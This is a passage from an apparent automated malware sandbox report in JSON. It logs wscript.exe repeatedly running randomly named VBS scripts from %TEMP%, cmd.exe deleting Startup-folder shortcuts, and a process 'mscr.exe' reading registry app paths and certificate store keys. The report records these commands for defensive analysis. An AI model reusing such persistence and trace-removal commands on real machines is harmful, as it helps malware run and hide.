Monitoring","data":null}]},{"uid":"00029988-00004076","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup3077130.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"4076","icon":"$61","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00030498-00002096","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2096","icon":"$62","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00030516-00001976","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7732691.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"1976","icon":"$63","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00031027-00002220","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2220","icon":"$64","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00031041-00003172","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup124481.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3172","icon":"$65","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00031554-00001596","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"1596","icon":"$66","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00031568-00002584","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup6752483.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2584","icon":"$67","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00032078-00001944","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"\"cmd.exe\" /k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"1944","icon":"$68","process_flags":[{"name":"Logged Stdout","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00032097-00002568","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2431673.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2568","icon":"$69","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00032608-00003136","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3136","icon":"$6a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00032628-00003132","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7087234.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3132","icon":"$6b","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00033139-00000520","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"520","icon":"$6c","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00033159-00003236","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1095315.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3236","icon":"$6d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00033670-00003372","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3372","icon":"$6e","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00033687-00003384","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup2162145.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3384","icon":"$6f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00034197-00003336","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3336","icon":"$70","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00034216-00003048","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup8790147.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3048","icon":"$71","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00034726-00001604","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"1604","icon":"$72","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00034749-00003016","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup4770668.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3016","icon":"$73","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00035226-00003512","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3512","icon":"$74","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00035241-00003744","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup5581901.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3744","icon":"$75","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00035752-00003728","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3728","icon":"$76","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00035772-00000256","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup9936131.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"256","icon":"$77","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00036282-00000524","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"524","icon":"$78","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00036305-00003572","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup4601692.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3572","icon":"$79","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00036815-00000832","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"832","icon":"$7a","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00036837-00003844","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7284813.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"3844","icon":"$7b","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00037348-00001600","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"1600","icon":"$7c","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00037372-00002996","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup7036682.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2996","icon":"$7d","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00037848-00000940","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"940","icon":"$7e","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00037870-00001744","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1446647.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"1744","icon":"$7f","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00038381-00002108","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2108","icon":"$80","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00038406-00002112","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1198516.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2112","icon":"$81","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00038883-00002728","parentuid":"00015331-00003724","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2728","icon":"$82","process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00038905-00002708","parentuid":"00015331-00003724","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","command_line":"\"%TEMP%\\startup1352268.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","av_label":null,"av_matched":null,"av_total":null,"pid":"2708","icon":"$83","process_flags":[{"name":"Logged Script Calls","data":null},{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[],"network_mode":"default","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-55","type":3,"relevance":10,"name":"Reads the registry for installed applications","description":"\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")\n \"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","description_v2":["\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")","\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"],"description_v3":[{"type":"text","value":"\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSCR.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-18","type":3,"relevance":10,"name":"Accesses Software Policy Settings","description":"$84","description_v2":["\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\"; Key: \"\")"],"description_v3":[{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\"; Key: \"\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-17","type":3,"relevance":10,"name":"Accesses System Certificates Settings","description":"$85","description_v2":["\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\109F1CAED645BB78B3EA2B94C0697C740733031C\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\D559A586669B08F46A30A133F8A9ED3D038E2EA8\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\A377D1B1C0538833035211F4083D00FECC414DAB\"; Key: \"BLOB\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"],"description_v3":[{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\"; Key: 